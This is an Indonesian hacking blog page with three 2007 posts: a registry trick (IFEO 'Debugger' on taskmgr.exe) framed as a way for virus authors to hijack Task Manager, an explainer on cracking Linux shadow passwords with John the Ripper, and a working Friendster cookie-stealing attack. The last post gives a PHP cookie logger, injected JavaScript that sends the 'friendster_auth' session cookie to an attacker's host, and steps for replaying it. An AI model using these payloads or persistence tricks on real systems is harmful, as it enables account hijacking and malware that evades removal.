Rabu, September 12, 2007

Menyisipkan Virus/Worm pada Windows Task Manager

Windows Task Manager merupakan tools bawaan windows untuk memantau aplikasi-aplikasi yang sedang berjalan, baik yang tampil maupun yang berjalan secara background. Melalui aplikasi ini user bisa melakukan penghentian suatu proses background secara paksa, menghentikan proses yang tidak dikehendaki atau menghentikan suatu aplikasi yang mengalami kondisi Not Responding.

Begitu pula ketika tersadar bahwa komputer kesayangannya terserang Virus/Worm, kebanyakan user akan secara reflek menggunakan tiga jari sakti-nya untuk menekan [Ctrl]+[Alt]+[Del] guna memanggil Windows Task manager dengan tujuan menghentikan proses si Virus/Worm.

Cara lain untuk memanggil Task Manager ialah dengan melakukan klik kanan pada area kosong Taskbar lalu memilih menu Task manager. Bisa juga dengan mengetikkan TASKMGR pada kotak dialog RUN (Start -> Run). Atau dengan mengeksekusi langsung file taskmgr.exe yang berada di system directory (C:\WINDOWS\System32\).

Karena kemampuannya untuk memantau proses yang sedang berjalan dan menghentikannya secara paksa inilah yang membuat kebanyakan penulis Virus akan berusaha untuk mencegah user mengakses Windows Task Manager agar Virus/Worm yang diciptakannya sulit dihentikan.


Jika Anda sedang melakukan eksperimen dengan Virus/Worm, ada sedikit trik untuk 'menyisipkan' Virus/Worm Anda pada Windows Task Manager supaya nantinya ketika user mengakses Windows Task Manager justru Worm/Virus Andalah yang dijalankan, bukan Windows Task manager itu sendiri.


Okay, kita mulai eksperimen kita Wink



1. Bukalah Registry Editor, (Start) -> (Run) ketik REGEDIT

2. Pergilah ke lokasi berikut:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe


3. Buatlah sebuah string value dengan nama Debugger (Klik kanan pada area kosong panel sebelah kanan, pilih New lalu klik String Value. Beri nama Debugger).

4. Klik ganda pada String Value yang baru Anda buat tadi. Isikan lokasi Virus Anda pada form isian Value Data. Atau sebagai percobaan, masukkan saja lokasi

Windows Command Processor -> C:\WINDOWS\System32\cmd.exe
Kemudian Klik [OK] sesudahnya.
 

5. Kini cobalah untuk mengakses Windows Task Manager dengan menekan kombinasi [Ctrl]+[Alt]+[Del] atau klik kanan pada area kosong Taskbar lalu pilih menu

Task manager ... atau.. terserah Anda laah.. ^_^ dan... TA..DAAAAAA....!!
Task manager Anda tidak akan tampil. Yang berjalan justru Windows Command Processor sesuai dengan yang Anda isikan pada Value Data tadi.

Nah, kini Anda bisa mengimplementasikannya dalam Virus/Worm ciptaan anda. Dengan demikian user tidak akan bisa mengakses Windows Task Manager. Ketika user berusaha melakukan pengaksesan Task Manager, justru Virus/Worm Andalah yang berjalan Wink

Trik ini sebenarnya bisa juga diterapkan untuk hal-hal baik. Misalnya saja Anda merasa kurang puas dengan Windows Task Manager dan Anda ingin mengganti aplikasi tersebut dengan aplikasi sejenis yang memiliki kemampuan lebih baik, maka Anda bisa menerapkan trik ini untuk tujuan tersebut.



Sekian, semoga bermanfaat Wink

Posted by ^shu_shu^ at 09:10:29 | Permanent Link | Comments (0) |

Sabtu, September 08, 2007

Meng-crack password Linux/Unix



Sebenarnya sangat sulit untuk meng-crack password Linux karena pada Linux modern (dan Unix pada umumnya) biasanya  password tidak disimpan pada file /etc/passwd tetapi pada file /etc/shadow yang hanya dapat diakses oleh root. Tetapi bila kita bisa mendapatkan kedua file ini maka kita dapat melakukan crack dengan tool seperti John the Ripper (JtR), http://www.openwall.com/john/. Untuk mulai melakukan crack maka  kedua file harus digabung dulu dengan tool unshadow yang sudah tersedia pada paket JtR.

Password Linux pada umumnya disimpan pada file dengan format sebagai berikut :

owner:EJymyuhn54t2E:510:102:Some user Info:/home/subdir/owner:/bin/bash

  1         2        3   4         5              6               7

Bagian yang terpenting adalah bagian (field) kesatu dan kedua, juga yang ke lima. Bila digunakan shadow maka bagian kedua ditandai dengan x dan string tersebut disimpan pada file /etc/shadow . Bagian pertama merupakan nama user yang digunakan untuk login, sedangkan yang kedua merupakan password dalam bentuk terenkripsi dengan metoda sedemikian sehingga string ini merupakan hashing satu arah. Pada umumnya metoda yang digunakan adalah dengan menggunakan metoda enkripsi DES, MD5 dan enkripsi Blowfish. DES (Data Encryption Standard)  merupakan metoda yang pertama kali digunakan dalam penyimpanan password, metoda ini sudah tidak biasa digunakan lagi, karena dengan mesin-mesin modern akan didapat kecepatan cracking  yang tinggi, sekitar 800.000 lebih kombinasi password per detik pada komputer dengan prosessor Pentium 4 - 2,4 GHz, sehingga bila menggunakan metoda ini password akan relatif lebih mudah di-crack. Metoda MD5 (Message Digest 5) merupakan metoda yang umum digunakan pada saat ini dan relatif lebih sulit dipecahkan, kecepatan cracking sekitar  4.400 kombinasi per detik pada P4 � 2,4 GHz. Metoda Blowfish masih jarang digunakan dan kecepatan cracking-nya lebih rendah lagi, dibawah 500 kombinasi per detik pada P4 � 2,4 GHz.

Seperti telah disebut di atas untuk meng-crack password ini dapat digunakan JtR. Pada JtR ada beberapa mode craking yang disediakan :

-         Single crack Mode, mode ini merupakan mode pertama yang harus dicoba. Pada mode ini akan dicoba informasi  login/gecos (informasi pada field kesatu dan kelima, pada format password di atas) sebagai password. Metoda ini jauh lebih cepat dari metoda wordlist mode dan memungkinkan menggunakan banyak aturan (rule). Aturan ini bisa dilihat di file john.conf, seperti: penambahan numerik pada huruf akhir, penambahan huruf �s�, diubah ke huruf besar, dll. Bila password ditemukan  maka password ini akan dicobakan  pada keseluruhan daftar password kalau-kalau ada yang menggunakan password yang sama. Tentu saja dengan metoda ini hanya akan didapat password dari informasi login/gecos saja.

-         Wordlist Mode, ini merupakan cara yang paling sederhana pada JtR, yang diperlukan adalah daftar kata-kata yang berupa file teks, file ini harus terdiri dari satu kata per baris. Dengan metoda ini kita dapat juga mengaktifkan aturan (rule) yang akan digunakan untuk memodifikasi kata, aturan ini juga bisa dilihat pada file john.conf dan bila perlu bisa dimodifikasi. Daftar kata-kata yang bisa digunakan bisa berasal kata-kata yang dikumpulkan dari bahasa nasional, bahasa daerah atau bahasa asing (Inggris, Jerman, Perancis , dll) . Untuk bahasa asing di-internet sudah tersedia dan biasanya satu file bisa terdiri dari berjuta-juta kata yang dapat digunakan. Sedangkan untuk bahasa nasional dan daerah mungkin kita harus mengumpulkannya sendiri, penulis sendiri pernah mengumpulkan beberapa puluh ribu kata. Daftar ini dikumpulkan dari media-media nasional yang ada di-internet untuk kata-kata yang umum, dari berbagai database untuk nama-nama orang, nama lokasi geografis (seperti nama pulau, gunung, sungai, dll). Daftar kata lain yang bisa digunakan adalah angka numerik seperti tanggal, karena orang kadang-kadang menggunakan tanggal lahir sebagai password. Format tanggal dapat dibuat dalam berbagai format seperti DMY, DDMMYY, DDMMYYYY, YYMMDD, YYYYMMDD, dsb. Bisa dibuat program sederhana untuk membuat format ini dan dalam range tahun tertentu (misalnya dari tahun 1940 � 2003) kemudian disort untuk menghilangkan duplikasi.

-         Incremental Mode, cara ini adalah cara yang paling ampuh karena menggunakan semua kombinasi dari berbagai karakter yang mungkin (brute force). Tetapi tentu saja cara ini akan memakan waktu yang sangat lama. Oleh sebab itu digunakan tabel frekuensi karakter, untuk mendapatkan sebanyak mungkin kombinasi password dalam waktu yang terbatas. Untuk menggunakan metode ini dibutuhkan definisi spesifik dari parameter yang akan digunakan seperti panjang password dan charsets (karakter sets).

-         External Mode, metode terakhir yang dapat digunakan dan didefinisikan dalan john.conf . Pada bagian ini kita harus mendefinisikan fungsi tertentu yang akan digunakan oleh JtR untuk menghasilkan rangkaian kata tertentu yang akan dicobakan.

Dari hasil percobaan penulis untuk mode Single Crack kita dapat memperoleh kurang lebih 10% dari keseluruhan daftar password, sedangkan untuk Wordlist mode tergantung banyak kata yang digunakan tapi kurang lebih bisa mencapai 35%. Sedangkan Untuk Incremental mode dan External mode penulis belum pernah mencoba sampai tuntas karena memakan waktu yang sangat lama.

Untuk mendapatkan hasil cracking password yang lebih banyak tentu saja dipengaruhi oleh beberapa faktor :

-         Pertama tentu metoda yang digunakan dalam password, dengan metoda DES tentu akan jauh lebih banyak didapat password dibanding metoda MD5 atau Blowfish.

-         Daftar kata yang lebih banyak, dengan mencoba sebanyak-banyaknya kata yang mungkin digunakan tentu saja akan didapat hasil cracking yang lebih banyak.

-         Proses cracking tidak terbatas waktu, lebih banyak waktu yang digunakan maka akan didapat lebih banyak password. Tapi tentu saja hal ini dibatasi oleh validitas dari password, karena kemungkinan user telah mengganti password dalam periode tertentu dan  kemungkinan user telah tidak aktif (telah dihapus dari daftar password) pada saat password ditemukan.

-         Tentu saja dengan jumlah resource (hardware) yang lebih banyak, proses cracking dapat didistribusikan ke banyak mesin sehingga proses cracking dapat sangat dipercepat.

Dari hasil pembahasan diatas dapat disimpulkan bahwa: metoda penyimpanan password Linux/Unix sebenarnya sangat aman, tetapi metoda seaman apapun selalu ada lubang yang bisa ditembus karena faktor terpenting keamanan komputer terletak pada pengguna komputer itu sendiri. Bila pengguna tidak berhati hati, dalam hal ini memilih password akan selalu ada kemungkinan password-nya bisa ditebak oleh orang lain dan tentu hal ini akan sangat merugikan user itu sendiri. Untuk itu perlu digunakan modul untuk pengecekan keamanan password dan yang penulis tahu memang hal ini sudah tersedia untuk Linux, tetapi tidak semua admin menggunakan modul ini untuk menjaga keamanan user.
Posted by ^shu_shu^ at 11:35:36 | Permanent Link | Comments (0) |

Jumat, September 07, 2007

Friendster - cookies

Hallo Semua Yang Suka Hack FriendSter…
Setelah SuperMan Melihat Dari Tutorial Om Family Code…
Ada kemungkinan Repot Karena harus Upload Di Photobucklet
Dan Lagi Pula Kabar yang Saya Dengar Terakhir Cara Tersebut Sudah tidak Bisa Terpakai Lagi!!
Crying or Very sad Crying or Very sad Crying or Very sad Crying or Very sad Crying or Very sad Crying or Very sad

Okey…
Sekarang Saya Akan Memberikan Cara Sederhana-Nya!!
Oh Iya….
Cara Ini Juga Di Lakukan Di MEDIA BOX

Syarat yang Di Perlukan:

Quote:
1.Punya Browser Mozzilla Firefox Dengan Add-On Cookie Editor!!
Kalo Belom Punya Klik Di SINI

2.Webhosting Untuk Penyimpanan Cookies Dan Code!!
Example:
http://www.ripway.com/ atau http://www.ifastnet.com Dan LAin2!!

3.Punya Account FriendSter Tentunya!!
Very Happy Very Happy Very Happy Very Happy Very Happy

Langkah-Langkahnya adalah:
1.Buat c.php

Code:
<?php
$cookie = $_GET[’c'];
$id = $_GET[’ses’];
$ip = getenv (’REMOTE_ADDR’);

if(strstr($cookie, “mac”)){
$fl = fopen(’lastkukis.txt’, ‘r’);
$buftxt = fgets($fl);
fclose($fl);
if($cookie!=$buftxt)
{
$date=date(”dmy.g:ia”);
$fl = fopen(’logkukis.txt’, ‘a’);
fwrite($fl, “\n”.$ip.’;;’.$id.’;;’.$date.”\n”.$cookie.”\n”);
fclose($fl);
$fl = fopen(’lastkukis.txt’, ‘w’);
fwrite($fl, $cookie);
fclose($fl);
}
}
echo “<script>history.back(-1)</script>”;
?>

2.Buat File Dengan Nama super.js Yang Isinya:

Quote:
if (pageViewerID!=”"){
var c=fgetCookie(”friendster_auth”);
if (c!=”")setTimeout(”window.location.href=’http://URLWEBHOSTING/c.php?c=’+escape(c)+’&ses=’+escape(pageViewerFName)+’~'+pageViewerID+’~@’+pageOwnerID”, 8000);}


===================================
JANGAN LUPA DI GANTI YANG SAYA TULIS BIRU!!
===================================

3.Dan Langkah Terakhir adalah Letakkan
Code INI:

Quote:
&amp;&amp;#x23;x3c;script type=”text/javascript” src=”http://URLWEBHOSTING/super.js” &amp;&amp;#x23;x3e;&amp;&amp;#x23;x3c;/script&gt;

ATAU

Quote:
&#x3c;script type=’text/javascript’ src=’http://URLWEBHOSTING/super.js‘>&#x3c;/script>

Nah….Klo Udah Dapet!!
Kamu Buka Link Ini:
ENCODER

Nah Setelah Itu Buka Cookie Editor Di Mozilla Dengan Cara:
Tools >>> Cookie Editor>>> ADD!!

ISI Dari Kolom Kosong Tersebut:
Name : friendster_auth
Content : hasil Encoder
Host : www.friendster.com
Path : /

Posted by ^shu_shu^ at 23:28:57 | Permanent Link | Comments (1) |